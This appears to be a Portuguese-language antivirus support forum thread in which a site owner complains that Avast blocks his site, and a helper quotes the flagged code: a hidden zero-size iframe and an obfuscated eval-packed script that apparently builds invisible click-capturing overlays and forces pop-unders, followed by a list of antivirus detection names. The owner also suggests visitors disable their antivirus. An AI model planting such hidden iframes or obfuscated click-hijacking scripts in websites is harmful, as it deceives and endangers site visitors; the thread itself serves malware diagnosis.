Avast bloqueando meu site e Visitantes que são usuários do avast reclamando

Non-English Boards Português
1

O Avasta está Bloqueando meu Site: http://www.botapagodao.net

Meus visitantes que usam o antivírus Avast têm se queixado que não estão conseguindo acessar o meu site!

Acusação equivocada de ameaça detectada “Script INF” , inclusive estou sendo obrigado a publicar na fan page do facebook sobre o Avast e recomendar desativa-lo já que o meu site foi escaneado pelo Sucuri Sitecheck e não foi encontrado nenhum vírus!

Por Favor suporte do Avast resolvam este problema o quanto Antes! Já perda em visitas! Nunca tive este problema em meu site!

2

olá

http://i.imgur.com/kSJSrIs.png

eu recomendo análise direta sobre “digitalização automatizada”. Claro que você pode usá-los para orientação, mas você nunca deve confiar plenamente neles.

o analista tem o olhar clinico, ele tem o conhecimento , vai descobrir o que esta de errado. Às vezes, a análise automatizada não vai detectar algumas coisas, é por isso que o analista de virus deve cavar mais fundo e analisar o código manualmente.

quttera encontrou 2 script suspeitos

http://quttera.com/detailed_report/www.botapagodao.net

este iframe oculto esta infectado

document.write('<iframe style="display:none" src="http://ads.egrana.com.br/stats/pop/" width="0" height="0" frameborder="0" marginwidh="0" marginheight="0" scrolling="no"></iframe>');
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1

... 6020 bytes are skipped ...
50|1850|950|141144143141163150|frameborder|hidden|backgroundColor|transparent|opacity|||cursor|pointer|position|absolute|zIndex|999|pageY|pageX|79|form|form141144143141163150|input|type|clearInterval|setInterval|1024|768|a616463736899|documentElement|webkitRequestFullscreen|Element|ALLOW_KEYBOARD_INPUT|webkitCancelFullScreen|a6164637368|data|text|html|charset|utf|encodeURI|536|onclick|2000|beforeunload|loadScript|scripts|pop|js'.split('|'),0,{}))

http://killmalware.com/www.botapagodao.net/

3

Pela descrição do código nada mais é do que um código relacionado ao script para abertura de publicidade em pop-under, este código já está lá a anos e só agora é código malicioso? Porque outros antivírus não detectam problema nenhum? Códigos de publicidade e pop-under agora é vírus?

Já entrei em contato com a Empresa de publicidade relacionada a acusação, informando sobre o ocorrido e aguardo respostas…

4

o antivírus Avast supera muitos produtos pagos, ele tem capacidade de detectar que outros não detectam. São mais de 200 milhões de usuários.Se as empresa tivessem a mesma detecção não haveria concorrência. Muito pelo contrario a maioria dos virus são detectados ao executar e não foi encontrados no escaneamentos sobre demanda.

o código foi limpo,no tópico anterior você recebeu a resposta que a Url foi desbloqueada

você talvez não tenha percebido

AntiVir :HTML/TwitScroll.B
Avast :JS:Iframe-ALS [Trj]
nProtect:Trojan.Iframe.BZW
Comodo:TrojWare.JS.Iframe.FK
McAfee-GW-dition:JS/IFrame.gen.j
Kaspersky:HEUR:Trojan.Script.Generic
MicrosoftExploit:HTML/IframeRef.DM
MicroWorld-eScanTrojan.Iframe.BZW
PCTools:Exploit.IFrame
McAfee:JS/IFrame.gen.j
NANO-Antivirus:Trojan.Html.TwitScroll.bklyhq
F-SecureTrojan.Iframe.BZW
VIPRE:Exploit.HTML.Iframe.dm (v)
AVG:HTML/Framer
Norman: Iframe.UW
Sophos:Troj/Iframe-JGGDataTrojan.Iframe.BZW
Symantec:IFrame.ExploitESET-
NOD32:JS/Iframe.HH
BitDefender:Trojan.Iframe.BZW